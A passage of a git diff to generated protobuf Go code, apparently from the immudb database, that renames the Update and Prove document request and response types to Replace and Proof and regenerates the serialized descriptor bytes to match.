[ProofDocumentResponse](#immudb.model.ProofDocumentResponse) | | diff --git a/pkg/api/protomodel/documents.pb.go b/pkg/api/protomodel/documents.pb.go index 11d47ffd94..00ac760acf 100644 --- a/pkg/api/protomodel/documents.pb.go +++ b/pkg/api/protomodel/documents.pb.go @@ -1106,7 +1106,7 @@ func (x *InsertDocumentsResponse) GetDocumentIds() []string { return nil } -type UpdateDocumentRequest struct { +type ReplaceDocumentRequest struct { state protoimpl.MessageState sizeCache protoimpl.SizeCache unknownFields protoimpl.UnknownFields @@ -1115,8 +1115,8 @@ type UpdateDocumentRequest struct { Document *structpb.Struct `protobuf:"bytes,2,opt,name=document,proto3" json:"document,omitempty"` } -func (x *UpdateDocumentRequest) Reset() { - *x = UpdateDocumentRequest{} +func (x *ReplaceDocumentRequest) Reset() { + *x = ReplaceDocumentRequest{} if protoimpl.UnsafeEnabled { mi := &file_documents_proto_msgTypes[19] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) @@ -1124,13 +1124,13 @@ func (x *UpdateDocumentRequest) Reset() { } } -func (x *UpdateDocumentRequest) String() string { +func (x *ReplaceDocumentRequest) String() string { return protoimpl.X.MessageStringOf(x) } -func (*UpdateDocumentRequest) ProtoMessage() {} +func (*ReplaceDocumentRequest) ProtoMessage() {} -func (x *UpdateDocumentRequest) ProtoReflect() protoreflect.Message { +func (x *ReplaceDocumentRequest) ProtoReflect() protoreflect.Message { mi := &file_documents_proto_msgTypes[19] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) @@ -1142,26 +1142,26 @@ func (x *UpdateDocumentRequest) ProtoReflect() protoreflect.Message { return mi.MessageOf(x) } -// Deprecated: Use UpdateDocumentRequest.ProtoReflect.Descriptor instead. -func (*UpdateDocumentRequest) Descriptor() ([]byte, []int) { +// Deprecated: Use ReplaceDocumentRequest.ProtoReflect.Descriptor instead. +func (*ReplaceDocumentRequest) Descriptor() ([]byte, []int) { return file_documents_proto_rawDescGZIP(), []int{19} } -func (x *UpdateDocumentRequest) GetQuery() *Query { +func (x *ReplaceDocumentRequest) GetQuery() *Query { if x != nil { return x.Query } return nil } -func (x *UpdateDocumentRequest) GetDocument() *structpb.Struct { +func (x *ReplaceDocumentRequest) GetDocument() *structpb.Struct { if x != nil { return x.Document } return nil } -type UpdateDocumentResponse struct { +type ReplaceDocumentResponse struct { state protoimpl.MessageState sizeCache protoimpl.SizeCache unknownFields protoimpl.UnknownFields @@ -1171,8 +1171,8 @@ type UpdateDocumentResponse struct { Revision uint64 `protobuf:"varint,3,opt,name=revision,proto3" json:"revision,omitempty"` } -func (x *UpdateDocumentResponse) Reset() { - *x = UpdateDocumentResponse{} +func (x *ReplaceDocumentResponse) Reset() { + *x = ReplaceDocumentResponse{} if protoimpl.UnsafeEnabled { mi := &file_documents_proto_msgTypes[20] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) @@ -1180,13 +1180,13 @@ func (x *UpdateDocumentResponse) Reset() { } } -func (x *UpdateDocumentResponse) String() string { +func (x *ReplaceDocumentResponse) String() string { return protoimpl.X.MessageStringOf(x) } -func (*UpdateDocumentResponse) ProtoMessage() {} +func (*ReplaceDocumentResponse) ProtoMessage() {} -func (x *UpdateDocumentResponse) ProtoReflect() protoreflect.Message { +func (x *ReplaceDocumentResponse) ProtoReflect() protoreflect.Message { mi := &file_documents_proto_msgTypes[20] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) @@ -1198,26 +1198,26 @@ func (x *UpdateDocumentResponse) ProtoReflect() protoreflect.Message { return mi.MessageOf(x) } -// Deprecated: Use UpdateDocumentResponse.ProtoReflect.Descriptor instead. -func (*UpdateDocumentResponse) Descriptor() ([]byte, []int) { +// Deprecated: Use ReplaceDocumentResponse.ProtoReflect.Descriptor instead. +func (*ReplaceDocumentResponse) Descriptor() ([]byte, []int) { return file_documents_proto_rawDescGZIP(), []int{20} } -func (x *UpdateDocumentResponse) GetTransactionId() uint64 { +func (x *ReplaceDocumentResponse) GetTransactionId() uint64 { if x != nil { return x.TransactionId } return 0 } -func (x *UpdateDocumentResponse) GetDocumentId() string { +func (x *ReplaceDocumentResponse) GetDocumentId() string { if x != nil { return x.DocumentId } return "" } -func (x *UpdateDocumentResponse) GetRevision() uint64 { +func (x *ReplaceDocumentResponse) GetRevision() uint64 { if x != nil { return x.Revision } @@ -1822,7 +1822,7 @@ func (x *AuditDocumentResponse) GetRevisions() []*DocumentAtRevision { return nil } -type ProveDocumentRequest struct { +type ProofDocumentRequest struct { state protoimpl.MessageState sizeCache protoimpl.SizeCache unknownFields protoimpl.UnknownFields @@ -1833,8 +1833,8 @@ type ProveDocumentRequest struct { ProofSinceTransactionId uint64 `protobuf:"varint,4,opt,name=proofSinceTransactionId,proto3" json:"proofSinceTransactionId,omitempty"` } -func (x *ProveDocumentRequest) Reset() { - *x = ProveDocumentRequest{} +func (x *ProofDocumentRequest) Reset() { + *x = ProofDocumentRequest{} if protoimpl.UnsafeEnabled { mi := &file_documents_proto_msgTypes[31] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) @@ -1842,13 +1842,13 @@ func (x *ProveDocumentRequest) Reset() { } } -func (x *ProveDocumentRequest) String() string { +func (x *ProofDocumentRequest) String() string { return protoimpl.X.MessageStringOf(x) } -func (*ProveDocumentRequest) ProtoMessage() {} +func (*ProofDocumentRequest) ProtoMessage() {} -func (x *ProveDocumentRequest) ProtoReflect() protoreflect.Message { +func (x *ProofDocumentRequest) ProtoReflect() protoreflect.Message { mi := &file_documents_proto_msgTypes[31] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) @@ -1860,40 +1860,40 @@ func (x *ProveDocumentRequest) ProtoReflect() protoreflect.Message { return mi.MessageOf(x) } -// Deprecated: Use ProveDocumentRequest.ProtoReflect.Descriptor instead. -func (*ProveDocumentRequest) Descriptor() ([]byte, []int) { +// Deprecated: Use ProofDocumentRequest.ProtoReflect.Descriptor instead. +func (*ProofDocumentRequest) Descriptor() ([]byte, []int) { return file_documents_proto_rawDescGZIP(), []int{31} } -func (x *ProveDocumentRequest) GetCollection() string { +func (x *ProofDocumentRequest) GetCollection() string { if x != nil { return x.Collection } return "" } -func (x *ProveDocumentRequest) GetDocumentId() string { +func (x *ProofDocumentRequest) GetDocumentId() string { if x != nil { return x.DocumentId } return "" } -func (x *ProveDocumentRequest) GetTransactionId() uint64 { +func (x *ProofDocumentRequest) GetTransactionId() uint64 { if x != nil { return x.TransactionId } return 0 } -func (x *ProveDocumentRequest) GetProofSinceTransactionId() uint64 { +func (x *ProofDocumentRequest) GetProofSinceTransactionId() uint64 { if x != nil { return x.ProofSinceTransactionId } return 0 } -type ProveDocumentResponse struct { +type ProofDocumentResponse struct { state protoimpl.MessageState sizeCache protoimpl.SizeCache unknownFields protoimpl.UnknownFields @@ -1905,8 +1905,8 @@ type ProveDocumentResponse struct { VerifiableTx *schema.VerifiableTxV2 `protobuf:"bytes,5,opt,name=verifiableTx,proto3" json:"verifiableTx,omitempty"` } -func (x *ProveDocumentResponse) Reset() { - *x = ProveDocumentResponse{} +func (x *ProofDocumentResponse) Reset() { + *x = ProofDocumentResponse{} if protoimpl.UnsafeEnabled { mi := &file_documents_proto_msgTypes[32] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) @@ -1914,13 +1914,13 @@ func (x *ProveDocumentResponse) Reset() { } } -func (x *ProveDocumentResponse) String() string { +func (x *ProofDocumentResponse) String() string { return protoimpl.X.MessageStringOf(x) } -func (*ProveDocumentResponse) ProtoMessage() {} +func (*ProofDocumentResponse) ProtoMessage() {} -func (x *ProveDocumentResponse) ProtoReflect() protoreflect.Message { +func (x *ProofDocumentResponse) ProtoReflect() protoreflect.Message { mi := &file_documents_proto_msgTypes[32] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) @@ -1932,40 +1932,40 @@ func (x *ProveDocumentResponse) ProtoReflect() protoreflect.Message { return mi.MessageOf(x) } -// Deprecated: Use ProveDocumentResponse.ProtoReflect.Descriptor instead. -func (*ProveDocumentResponse) Descriptor() ([]byte, []int) { +// Deprecated: Use ProofDocumentResponse.ProtoReflect.Descriptor instead. +func (*ProofDocumentResponse) Descriptor() ([]byte, []int) { return file_documents_proto_rawDescGZIP(), []int{32} } -func (x *ProveDocumentResponse) GetDatabase() string { +func (x *ProofDocumentResponse) GetDatabase() string { if x != nil { return x.Database } return "" } -func (x *ProveDocumentResponse) GetCollectionId() uint32 { +func (x *ProofDocumentResponse) GetCollectionId() uint32 { if x != nil { return x.CollectionId } return 0 } -func (x *ProveDocumentResponse) GetIdFieldName() string { +func (x *ProofDocumentResponse) GetIdFieldName() string { if x != nil { return x.IdFieldName } return "" } -func (x *ProveDocumentResponse) GetEncodedDocument() []byte { +func (x *ProofDocumentResponse) GetEncodedDocument() []byte { if x != nil { return x.EncodedDocument } return nil } -func (x *ProveDocumentResponse) GetVerifiableTx() *schema.VerifiableTxV2 { +func (x *ProofDocumentResponse) GetVerifiableTx() *schema.VerifiableTxV2 { if x != nil { return x.VerifiableTx } @@ -2162,265 +2162,265 @@ var file_documents_proto_rawDesc = []byte{ 0x49, 0x64, 0x18, 0x01, 0x20, 0x01, 0x28, 0x04, 0x52, 0x0d, 0x74, 0x72, 0x61, 0x6e, 0x73, 0x61, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x49, 0x64, 0x12, 0x20, 0x0a, 0x0b, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x49, 0x64, 0x73, 0x18, 0x02, 0x20, 0x03, 0x28, 0x09, 0x52, 0x0b, 0x64, 0x6f, - 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x49, 0x64, 0x73, 0x22, 0x77, 0x0a, 0x15, 0x55, 0x70, 0x64, - 0x61, 0x74, 0x65, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x52, 0x65, 0x71, 0x75, 0x65, - 0x73, 0x74, 0x12, 0x29, 0x0a, 0x05, 0x71, 0x75, 0x65, 0x72, 0x79, 0x18, 0x01, 0x20, 0x01, 0x28, - 0x0b, 0x32, 0x13, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, 0x65, 0x6c, - 0x2e, 0x51, 0x75, 0x65, 0x72, 0x79, 0x52, 0x05, 0x71, 0x75, 0x65, 0x72, 0x79, 0x12, 0x33, 0x0a, - 0x08, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0b, 0x32, - 0x17, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, - 0x66, 0x2e, 0x53, 0x74, 0x72, 0x75, 0x63, 0x74, 0x52, 0x08, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, - 0x6e, 0x74, 0x22, 0x7a, 0x0a, 0x16, 0x55, 0x70, 0x64, 0x61, 0x74, 0x65, 0x44, 0x6f, 0x63, 0x75, - 0x6d, 0x65, 0x6e, 0x74, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x12, 0x24, 0x0a, 0x0d, - 0x74, 0x72, 0x61, 0x6e, 0x73, 0x61, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x49, 0x64, 0x18, 0x01, 0x20, - 0x01, 0x28, 0x04, 0x52, 0x0d, 0x74, 0x72, 0x61, 0x6e, 0x73, 0x61, 0x63, 0x74, 0x69, 0x6f, 0x6e, - 0x49, 0x64, 0x12, 0x1e, 0x0a, 0x0a, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x49, 0x64, - 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0a, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, - 0x49, 0x64, 0x12, 0x1a, 0x0a, 0x08, 0x72, 0x65, 0x76, 0x69, 0x73, 0x69, 0x6f, 0x6e, 0x18, 0x03, - 0x20, 0x01, 0x28, 0x04, 0x52, 0x08, 0x72, 0x65, 0x76, 0x69, 0x73, 0x69, 0x6f, 0x6e, 0x22, 0x8f, - 0x01, 0x0a, 0x16, 0x53, 0x65, 0x61, 0x72, 0x63, 0x68, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, - 0x74, 0x73, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x12, 0x1a, 0x0a, 0x08, 0x73, 0x65, 0x61, - 0x72, 0x63, 0x68, 0x49, 0x64, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x08, 0x73, 0x65, 0x61, - 0x72, 0x63, 0x68, 0x49, 0x64, 0x12, 0x29, 0x0a, 0x05, 0x71, 0x75, 0x65, 0x72, 0x79, 0x18, 0x02, - 0x20, 0x01, 0x28, 0x0b, 0x32, 0x13, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, - 0x64, 0x65, 0x6c, 0x2e, 0x51, 0x75, 0x65, 0x72, 0x79, 0x52, 0x05, 0x71, 0x75, 0x65, 0x72, 0x79, - 0x12, 0x12, 0x0a, 0x04, 0x70, 0x61, 0x67, 0x65, 0x18, 0x03, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x04, - 0x70, 0x61, 0x67, 0x65, 0x12, 0x1a, 0x0a, 0x08, 0x70, 0x61, 0x67, 0x65, 0x53, 0x69, 0x7a, 0x65, - 0x18, 0x04, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x08, 0x70, 0x61, 0x67, 0x65, 0x53, 0x69, 0x7a, 0x65, - 0x22, 0x9f, 0x01, 0x0a, 0x05, 0x51, 0x75, 0x65, 0x72, 0x79, 0x12, 0x1e, 0x0a, 0x0a, 0x63, 0x6f, - 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0a, - 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x12, 0x3f, 0x0a, 0x0b, 0x65, 0x78, - 0x70, 0x72, 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x73, 0x18, 0x02, 0x20, 0x03, 0x28, 0x0b, 0x32, - 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x2e, 0x51, - 0x75, 0x65, 0x72, 0x79, 0x45, 0x78, 0x70, 0x72, 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x52, 0x0b, - 0x65, 0x78, 0x70, 0x72, 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x73, 0x12, 0x35, 0x0a, 0x07, 0x6f, - 0x72, 0x64, 0x65, 0x72, 0x42, 0x79, 0x18, 0x03, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x1b, 0x2e, 0x69, - 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x2e, 0x4f, 0x72, 0x64, 0x65, - 0x72, 0x42, 0x79, 0x43, 0x6c, 0x61, 0x75, 0x73, 0x65, 0x52, 0x07, 0x6f, 0x72, 0x64, 0x65, 0x72, - 0x42, 0x79, 0x22, 0x5c, 0x0a, 0x0f, 0x51, 0x75, 0x65, 0x72, 0x79, 0x45, 0x78, 0x70, 0x72, 0x65, - 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x12, 0x49, 0x0a, 0x10, 0x66, 0x69, 0x65, 0x6c, 0x64, 0x43, 0x6f, - 0x6d, 0x70, 0x61, 0x72, 0x69, 0x73, 0x6f, 0x6e, 0x73, 0x18, 0x01, 0x20, 0x03, 0x28, 0x0b, 0x32, - 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x2e, 0x46, - 0x69, 0x65, 0x6c, 0x64, 0x43, 0x6f, 0x6d, 0x70, 0x61, 0x72, 0x69, 0x73, 0x6f, 0x6e, 0x52, 0x10, - 0x66, 0x69, 0x65, 0x6c, 0x64, 0x43, 0x6f, 0x6d, 0x70, 0x61, 0x72, 0x69, 0x73, 0x6f, 0x6e, 0x73, - 0x22, 0x93, 0x01, 0x0a, 0x0f, 0x46, 0x69, 0x65, 0x6c, 0x64, 0x43, 0x6f, 0x6d, 0x70, 0x61, 0x72, - 0x69, 0x73, 0x6f, 0x6e, 0x12, 0x14, 0x0a, 0x05, 0x66, 0x69, 0x65, 0x6c, 0x64, 0x18, 0x01, 0x20, - 0x01, 0x28, 0x09, 0x52, 0x05, 0x66, 0x69, 0x65, 0x6c, 0x64, 0x12, 0x3c, 0x0a, 0x08, 0x6f, 0x70, - 0x65, 0x72, 0x61, 0x74, 0x6f, 0x72, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0e, 0x32, 0x20, 0x2e, 0x69, - 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x2e, 0x43, 0x6f, 0x6d, 0x70, - 0x61, 0x72, 0x69, 0x73, 0x6f, 0x6e, 0x4f, 0x70, 0x65, 0x72, 0x61, 0x74, 0x6f, 0x72, 0x52, 0x08, - 0x6f, 0x70, 0x65, 0x72, 0x61, 0x74, 0x6f, 0x72, 0x12, 0x2c, 0x0a, 0x05, 0x76, 0x61, 0x6c, 0x75, - 0x65, 0x18, 0x03, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x16, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, - 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x56, 0x61, 0x6c, 0x75, 0x65, 0x52, - 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x22, 0x39, 0x0a, 0x0d, 0x4f, 0x72, 0x64, 0x65, 0x72, 0x42, - 0x79, 0x43, 0x6c, 0x61, 0x75, 0x73, 0x65, 0x12, 0x14, 0x0a, 0x05, 0x66, 0x69, 0x65, 0x6c, 0x64, - 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x05, 0x66, 0x69, 0x65, 0x6c, 0x64, 0x12, 0x12, 0x0a, - 0x04, 0x64, 0x65, 0x73, 0x63, 0x18, 0x02, 0x20, 0x01, 0x28, 0x08, 0x52, 0x04, 0x64, 0x65, 0x73, - 0x63, 0x22, 0x75, 0x0a, 0x17, 0x53, 0x65, 0x61, 0x72, 0x63, 0x68, 0x44, 0x6f, 0x63, 0x75, 0x6d, - 0x65, 0x6e, 0x74, 0x73, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x12, 0x1a, 0x0a, 0x08, - 0x73, 0x65, 0x61, 0x72, 0x63, 0x68, 0x49, 0x64, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x08, - 0x73, 0x65, 0x61, 0x72, 0x63, 0x68, 0x49, 0x64, 0x12, 0x3e, 0x0a, 0x09, 0x72, 0x65, 0x76, 0x69, - 0x73, 0x69, 0x6f, 0x6e, 0x73, 0x18, 0x02, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x20, 0x2e, 0x69, 0x6d, + 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x49, 0x64, 0x73, 0x22, 0x78, 0x0a, 0x16, 0x52, 0x65, 0x70, + 0x6c, 0x61, 0x63, 0x65, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x52, 0x65, 0x71, 0x75, + 0x65, 0x73, 0x74, 0x12, 0x29, 0x0a, 0x05, 0x71, 0x75, 0x65, 0x72, 0x79, 0x18, 0x01, 0x20, 0x01, + 0x28, 0x0b, 0x32, 0x13, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, 0x65, + 0x6c, 0x2e, 0x51, 0x75, 0x65, 0x72, 0x79, 0x52, 0x05, 0x71, 0x75, 0x65, 0x72, 0x79, 0x12, 0x33, + 0x0a, 0x08, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0b, + 0x32, 0x17, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, + 0x75, 0x66, 0x2e, 0x53, 0x74, 0x72, 0x75, 0x63, 0x74, 0x52, 0x08, 0x64, 0x6f, 0x63, 0x75, 0x6d, + 0x65, 0x6e, 0x74, 0x22, 0x7b, 0x0a, 0x17, 0x52, 0x65, 0x70, 0x6c, 0x61, 0x63, 0x65, 0x44, 0x6f, + 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x12, 0x24, + 0x0a, 0x0d, 0x74, 0x72, 0x61, 0x6e, 0x73, 0x61, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x49, 0x64, 0x18, + 0x01, 0x20, 0x01, 0x28, 0x04, 0x52, 0x0d, 0x74, 0x72, 0x61, 0x6e, 0x73, 0x61, 0x63, 0x74, 0x69, + 0x6f, 0x6e, 0x49, 0x64, 0x12, 0x1e, 0x0a, 0x0a, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, + 0x49, 0x64, 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0a, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, + 0x6e, 0x74, 0x49, 0x64, 0x12, 0x1a, 0x0a, 0x08, 0x72, 0x65, 0x76, 0x69, 0x73, 0x69, 0x6f, 0x6e, + 0x18, 0x03, 0x20, 0x01, 0x28, 0x04, 0x52, 0x08, 0x72, 0x65, 0x76, 0x69, 0x73, 0x69, 0x6f, 0x6e, + 0x22, 0x8f, 0x01, 0x0a, 0x16, 0x53, 0x65, 0x61, 0x72, 0x63, 0x68, 0x44, 0x6f, 0x63, 0x75, 0x6d, + 0x65, 0x6e, 0x74, 0x73, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x12, 0x1a, 0x0a, 0x08, 0x73, + 0x65, 0x61, 0x72, 0x63, 0x68, 0x49, 0x64, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x08, 0x73, + 0x65, 0x61, 0x72, 0x63, 0x68, 0x49, 0x64, 0x12, 0x29, 0x0a, 0x05, 0x71, 0x75, 0x65, 0x72, 0x79, + 0x18, 0x02, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x13, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, + 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x2e, 0x51, 0x75, 0x65, 0x72, 0x79, 0x52, 0x05, 0x71, 0x75, 0x65, + 0x72, 0x79, 0x12, 0x12, 0x0a, 0x04, 0x70, 0x61, 0x67, 0x65, 0x18, 0x03, 0x20, 0x01, 0x28, 0x0d, + 0x52, 0x04, 0x70, 0x61, 0x67, 0x65, 0x12, 0x1a, 0x0a, 0x08, 0x70, 0x61, 0x67, 0x65, 0x53, 0x69, + 0x7a, 0x65, 0x18, 0x04, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x08, 0x70, 0x61, 0x67, 0x65, 0x53, 0x69, + 0x7a, 0x65, 0x22, 0x9f, 0x01, 0x0a, 0x05, 0x51, 0x75, 0x65, 0x72, 0x79, 0x12, 0x1e, 0x0a, 0x0a, + 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, + 0x52, 0x0a, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x12, 0x3f, 0x0a, 0x0b, + 0x65, 0x78, 0x70, 0x72, 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x73, 0x18, 0x02, 0x20, 0x03, 0x28, + 0x0b, 0x32, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, 0x65, 0x6c, + 0x2e, 0x51, 0x75, 0x65, 0x72, 0x79, 0x45, 0x78, 0x70, 0x72, 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, + 0x52, 0x0b, 0x65, 0x78, 0x70, 0x72, 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x73, 0x12, 0x35, 0x0a, + 0x07, 0x6f, 0x72, 0x64, 0x65, 0x72, 0x42, 0x79, 0x18, 0x03, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x1b, + 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x2e, 0x4f, 0x72, + 0x64, 0x65, 0x72, 0x42, 0x79, 0x43, 0x6c, 0x61, 0x75, 0x73, 0x65, 0x52, 0x07, 0x6f, 0x72, 0x64, + 0x65, 0x72, 0x42, 0x79, 0x22, 0x5c, 0x0a, 0x0f, 0x51, 0x75, 0x65, 0x72, 0x79, 0x45, 0x78, 0x70, + 0x72, 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x12, 0x49, 0x0a, 0x10, 0x66, 0x69, 0x65, 0x6c, 0x64, + 0x43, 0x6f, 0x6d, 0x70, 0x61, 0x72, 0x69, 0x73, 0x6f, 0x6e, 0x73, 0x18, 0x01, 0x20, 0x03, 0x28, + 0x0b, 0x32, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, 0x65, 0x6c, + 0x2e, 0x46, 0x69, 0x65, 0x6c, 0x64, 0x43, 0x6f, 0x6d, 0x70, 0x61, 0x72, 0x69, 0x73, 0x6f, 0x6e, + 0x52, 0x10, 0x66, 0x69, 0x65, 0x6c, 0x64, 0x43, 0x6f, 0x6d, 0x70, 0x61, 0x72, 0x69, 0x73, 0x6f, + 0x6e, 0x73, 0x22, 0x93, 0x01, 0x0a, 0x0f, 0x46, 0x69, 0x65, 0x6c, 0x64, 0x43, 0x6f, 0x6d, 0x70, + 0x61, 0x72, 0x69, 0x73, 0x6f, 0x6e, 0x12, 0x14, 0x0a, 0x05, 0x66, 0x69, 0x65, 0x6c, 0x64, 0x18, + 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x05, 0x66, 0x69, 0x65, 0x6c, 0x64, 0x12, 0x3c, 0x0a, 0x08, + 0x6f, 0x70, 0x65, 0x72, 0x61, 0x74, 0x6f, 0x72, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0e, 0x32, 0x20, + 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x2e, 0x43, 0x6f, + 0x6d, 0x70, 0x61, 0x72, 0x69, 0x73, 0x6f, 0x6e, 0x4f, 0x70, 0x65, 0x72, 0x61, 0x74, 0x6f, 0x72, + 0x52, 0x08, 0x6f, 0x70, 0x65, 0x72, 0x61, 0x74, 0x6f, 0x72, 0x12, 0x2c, 0x0a, 0x05, 0x76, 0x61, + 0x6c, 0x75, 0x65, 0x18, 0x03, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x16, 0x2e, 0x67, 0x6f, 0x6f, 0x67, + 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x56, 0x61, 0x6c, 0x75, + 0x65, 0x52, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x22, 0x39, 0x0a, 0x0d, 0x4f, 0x72, 0x64, 0x65, + 0x72, 0x42, 0x79, 0x43, 0x6c, 0x61, 0x75, 0x73, 0x65, 0x12, 0x14, 0x0a, 0x05, 0x66, 0x69, 0x65, + 0x6c, 0x64, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x05, 0x66, 0x69, 0x65, 0x6c, 0x64, 0x12, + 0x12, 0x0a, 0x04, 0x64, 0x65, 0x73, 0x63, 0x18, 0x02, 0x20, 0x01, 0x28, 0x08, 0x52, 0x04, 0x64, + 0x65, 0x73, 0x63, 0x22, 0x75, 0x0a, 0x17, 0x53, 0x65, 0x61, 0x72, 0x63, 0x68, 0x44, 0x6f, 0x63, + 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x12, 0x1a, + 0x0a, 0x08, 0x73, 0x65, 0x61, 0x72, 0x63, 0x68, 0x49, 0x64, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, + 0x52, 0x08, 0x73, 0x65, 0x61, 0x72, 0x63, 0x68, 0x49, 0x64, 0x12, 0x3e, 0x0a, 0x09, 0x72, 0x65, + 0x76, 0x69, 0x73, 0x69, 0x6f, 0x6e, 0x73, 0x18, 0x02, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x20, 0x2e, + 0x69, 